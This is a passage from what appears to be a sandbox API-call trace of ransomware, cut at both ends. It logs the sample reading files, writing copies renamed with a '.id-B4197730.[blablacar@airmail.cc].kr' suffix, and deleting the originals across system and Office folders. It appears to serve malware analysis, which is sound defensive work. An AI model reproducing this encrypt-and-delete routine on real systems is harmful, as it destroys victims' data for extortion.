(lpString1=".zip", lpString2=".xml") returned 1 [0087.715] lstrlenW (lpString=".rar") returned 4 [0087.715] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.715] lstrlenW (lpString=".bz2") returned 4 [0087.715] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.715] lstrlenW (lpString=".7z") returned 3 [0087.715] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.716] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0087.716] lstrlenW (lpString=".dbf") returned 4 [0087.716] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0087.716] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0087.716] lstrlenW (lpString=".1cd") returned 4 [0087.716] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0087.716] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0087.716] lstrlenW (lpString=".jpg") returned 4 [0087.716] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0087.716] lstrcmpiW (lpString1=".xsd", lpString2=".kr") returned 1 [0087.716] lstrlenW (lpString="SetupUi.xsd") returned 11 [0087.716] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0087.716] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=30120) returned 1 [0087.716] CloseHandle (hObject=0x334) returned 1 [0087.717] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 0x80 [0087.717] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0087.717] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0087.717] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0087.717] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0087.717] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0087.717] GetLastError () returned 0x0 [0087.717] ReadFile (in: hFile=0x334, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x75a8, lpOverlapped=0x0) returned 1 [0087.719] WriteFile (in: hFile=0x348, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x75b0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x75b0, lpOverlapped=0x0) returned 1 [0087.721] ReadFile (in: hFile=0x334, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0087.721] WriteFile (in: hFile=0x348, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xea, lpOverlapped=0x0) returned 1 [0087.721] SetEndOfFile (hFile=0x348) returned 1 [0087.721] CloseHandle (hObject=0x348) returned 1 [0087.726] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0087.726] SetEndOfFile (hFile=0x334) returned 1 [0087.727] CloseHandle (hObject=0x334) returned 1 [0087.727] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0087.727] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 1 [0087.727] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0087.728] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0087.728] lstrlenW (lpString=".doc") returned 4 [0087.728] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1 [0087.728] lstrlenW (lpString=".docx") returned 5 [0087.728] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1 [0087.728] lstrlenW (lpString=".pdf") returned 4 [0087.728] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1 [0087.728] lstrlenW (lpString=".xls") returned 4 [0087.728] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1 [0087.728] lstrlenW (lpString=".xlsx") returned 5 [0087.728] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1 [0087.728] lstrlenW (lpString=".ppt") returned 4 [0087.728] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1 [0087.728] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0087.728] lstrlenW (lpString=".zip") returned 4 [0087.728] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1 [0087.728] lstrlenW (lpString=".rar") returned 4 [0087.728] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1 [0087.728] lstrlenW (lpString=".bz2") returned 4 [0087.728] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1 [0087.728] lstrlenW (lpString=".7z") returned 3 [0087.728] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1 [0087.728] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0087.728] lstrlenW (lpString=".dbf") returned 4 [0087.728] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1 [0087.728] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0087.728] lstrlenW (lpString=".1cd") returned 4 [0087.728] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1 [0087.728] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0087.728] lstrlenW (lpString=".jpg") returned 4 [0087.728] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1 [0087.729] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0087.729] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0087.729] lstrlenW (lpString=".doc") returned 4 [0087.729] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1 [0087.729] lstrlenW (lpString=".docx") returned 5 [0087.729] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1 [0087.729] lstrlenW (lpString=".pdf") returned 4 [0087.729] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1 [0087.729] lstrlenW (lpString=".xls") returned 4 [0087.729] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1 [0087.729] lstrlenW (lpString=".xlsx") returned 5 [0087.729] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1 [0087.729] lstrlenW (lpString=".ppt") returned 4 [0087.729] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1 [0087.729] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0087.729] lstrlenW (lpString=".zip") returned 4 [0087.729] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1 [0087.729] lstrlenW (lpString=".rar") returned 4 [0087.729] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1 [0087.729] lstrlenW (lpString=".bz2") returned 4 [0087.729] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1 [0087.729] lstrlenW (lpString=".7z") returned 3 [0087.729] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1 [0087.729] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0087.729] lstrlenW (lpString=".dbf") returned 4 [0087.729] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1 [0087.729] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0087.729] lstrlenW (lpString=".1cd") returned 4 [0087.729] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1 [0087.729] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0087.730] lstrlenW (lpString=".jpg") returned 4 [0087.730] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1 [0087.730] lstrcmpiW (lpString1=".bmp", lpString2=".kr") returned -1 [0087.730] lstrlenW (lpString="SplashScreen.bmp") returned 16 [0087.730] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0087.730] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=41080) returned 1 [0087.730] CloseHandle (hObject=0x334) returned 1 [0087.730] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 0x80 [0087.730] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0087.730] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0087.730] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0087.730] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0087.731] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0087.731] GetLastError () returned 0x0 [0087.731] ReadFile (in: hFile=0x334, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0xa078, lpOverlapped=0x0) returned 1 [0087.733] WriteFile (in: hFile=0x348, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xa080, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xa080, lpOverlapped=0x0) returned 1 [0087.734] ReadFile (in: hFile=0x334, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0087.735] WriteFile (in: hFile=0x348, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xf4, lpOverlapped=0x0) returned 1 [0087.735] SetEndOfFile (hFile=0x348) returned 1 [0087.735] CloseHandle (hObject=0x348) returned 1 [0087.736] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0087.736] SetEndOfFile (hFile=0x334) returned 1 [0087.738] CloseHandle (hObject=0x334) returned 1 [0087.738] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0087.738] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 1 [0087.738] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0087.738] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0087.738] lstrlenW (lpString=".doc") returned 4 [0087.738] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0087.739] lstrlenW (lpString=".docx") returned 5 [0087.739] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0087.739] lstrlenW (lpString=".pdf") returned 4 [0087.739] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0087.739] lstrlenW (lpString=".xls") returned 4 [0087.739] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0087.739] lstrlenW (lpString=".xlsx") returned 5 [0087.739] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0087.739] lstrlenW (lpString=".ppt") returned 4 [0087.739] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0087.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0087.739] lstrlenW (lpString=".zip") returned 4 [0087.739] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0087.739] lstrlenW (lpString=".rar") returned 4 [0087.739] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0087.739] lstrlenW (lpString=".bz2") returned 4 [0087.739] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0087.739] lstrlenW (lpString=".7z") returned 3 [0087.739] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0087.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0087.739] lstrlenW (lpString=".dbf") returned 4 [0087.739] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0087.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0087.739] lstrlenW (lpString=".1cd") returned 4 [0087.739] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0087.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0087.739] lstrlenW (lpString=".jpg") returned 4 [0087.739] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0087.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0087.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0087.740] lstrlenW (lpString=".doc") returned 4 [0087.740] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0087.740] lstrlenW (lpString=".docx") returned 5 [0087.740] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0087.740] lstrlenW (lpString=".pdf") returned 4 [0087.740] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0087.740] lstrlenW (lpString=".xls") returned 4 [0087.740] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0087.740] lstrlenW (lpString=".xlsx") returned 5 [0087.740] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0087.740] lstrlenW (lpString=".ppt") returned 4 [0087.740] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0087.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0087.740] lstrlenW (lpString=".zip") returned 4 [0087.740] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0087.740] lstrlenW (lpString=".rar") returned 4 [0087.740] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0087.740] lstrlenW (lpString=".bz2") returned 4 [0087.740] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0087.740] lstrlenW (lpString=".7z") returned 3 [0087.740] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0087.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0087.740] lstrlenW (lpString=".dbf") returned 4 [0087.740] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0087.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0087.740] lstrlenW (lpString=".1cd") returned 4 [0087.740] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0087.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0087.741] lstrlenW (lpString=".jpg") returned 4 [0088.072] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0088.072] Sleep (dwMilliseconds=0x64) [0088.392] lstrcmpiW (lpString1=".p7b", lpString2=".kr") returned 1 [0088.392] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0088.392] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0088.394] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=4662) returned 1 [0088.394] CloseHandle (hObject=0x348) returned 1 [0088.394] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0088.394] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0088.394] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.395] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0088.395] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0088.395] lstrlenW (lpString=".doc") returned 4 [0088.395] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0088.395] lstrlenW (lpString=".docx") returned 5 [0088.395] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0088.395] lstrlenW (lpString=".pdf") returned 4 [0088.395] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0088.395] lstrlenW (lpString=".xls") returned 4 [0088.395] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0088.395] lstrlenW (lpString=".xlsx") returned 5 [0088.395] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0088.395] lstrlenW (lpString=".ppt") returned 4 [0088.395] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0088.395] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0088.395] lstrlenW (lpString=".zip") returned 4 [0088.395] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0088.395] lstrlenW (lpString=".rar") returned 4 [0088.395] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0088.395] lstrlenW (lpString=".bz2") returned 4 [0088.395] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0088.395] lstrlenW (lpString=".7z") returned 3 [0088.396] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0088.396] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0088.396] lstrlenW (lpString=".dbf") returned 4 [0088.396] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0088.396] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0088.396] lstrlenW (lpString=".1cd") returned 4 [0088.396] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0088.396] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0088.396] lstrlenW (lpString=".jpg") returned 4 [0088.396] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0088.396] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0088.396] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0088.396] lstrlenW (lpString=".doc") returned 4 [0088.396] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0088.396] lstrlenW (lpString=".docx") returned 5 [0088.396] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0088.396] lstrlenW (lpString=".pdf") returned 4 [0088.396] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0088.396] lstrlenW (lpString=".xls") returned 4 [0088.396] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0088.396] lstrlenW (lpString=".xlsx") returned 5 [0088.396] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0088.396] lstrlenW (lpString=".ppt") returned 4 [0088.396] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0088.396] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0088.397] lstrlenW (lpString=".zip") returned 4 [0088.397] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0088.397] lstrlenW (lpString=".rar") returned 4 [0088.397] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0088.397] lstrlenW (lpString=".bz2") returned 4 [0088.397] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0088.397] lstrlenW (lpString=".7z") returned 3 [0088.397] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0088.397] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0088.397] lstrlenW (lpString=".dbf") returned 4 [0088.397] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0088.397] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0088.397] lstrlenW (lpString=".1cd") returned 4 [0088.397] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0088.397] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0088.397] lstrlenW (lpString=".jpg") returned 4 [0088.398] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0088.398] Sleep (dwMilliseconds=0x64) [0088.695] Sleep (dwMilliseconds=0x64) [0088.914] Sleep (dwMilliseconds=0x64) [0089.304] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0089.304] lstrlenW (lpString="C2RHeartbeatConfig.xml") returned 22 [0089.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0089.305] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=4136) returned 1 [0089.305] CloseHandle (hObject=0x354) returned 1 [0089.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 0x20 [0089.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0089.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0089.306] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0089.306] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0089.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0089.307] GetLastError () returned 0x0 [0089.307] ReadFile (in: hFile=0x354, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x1028, lpOverlapped=0x0) returned 1 [0089.308] WriteFile (in: hFile=0x358, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x1030, lpOverlapped=0x0) returned 1 [0089.309] ReadFile (in: hFile=0x354, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0089.310] WriteFile (in: hFile=0x358, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x100, lpOverlapped=0x0) returned 1 [0089.310] SetEndOfFile (hFile=0x358) returned 1 [0089.310] CloseHandle (hObject=0x358) returned 1 [0089.311] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0089.311] SetEndOfFile (hFile=0x354) returned 1 [0089.312] CloseHandle (hObject=0x354) returned 1 [0089.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0089.312] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 1 [0089.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0089.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 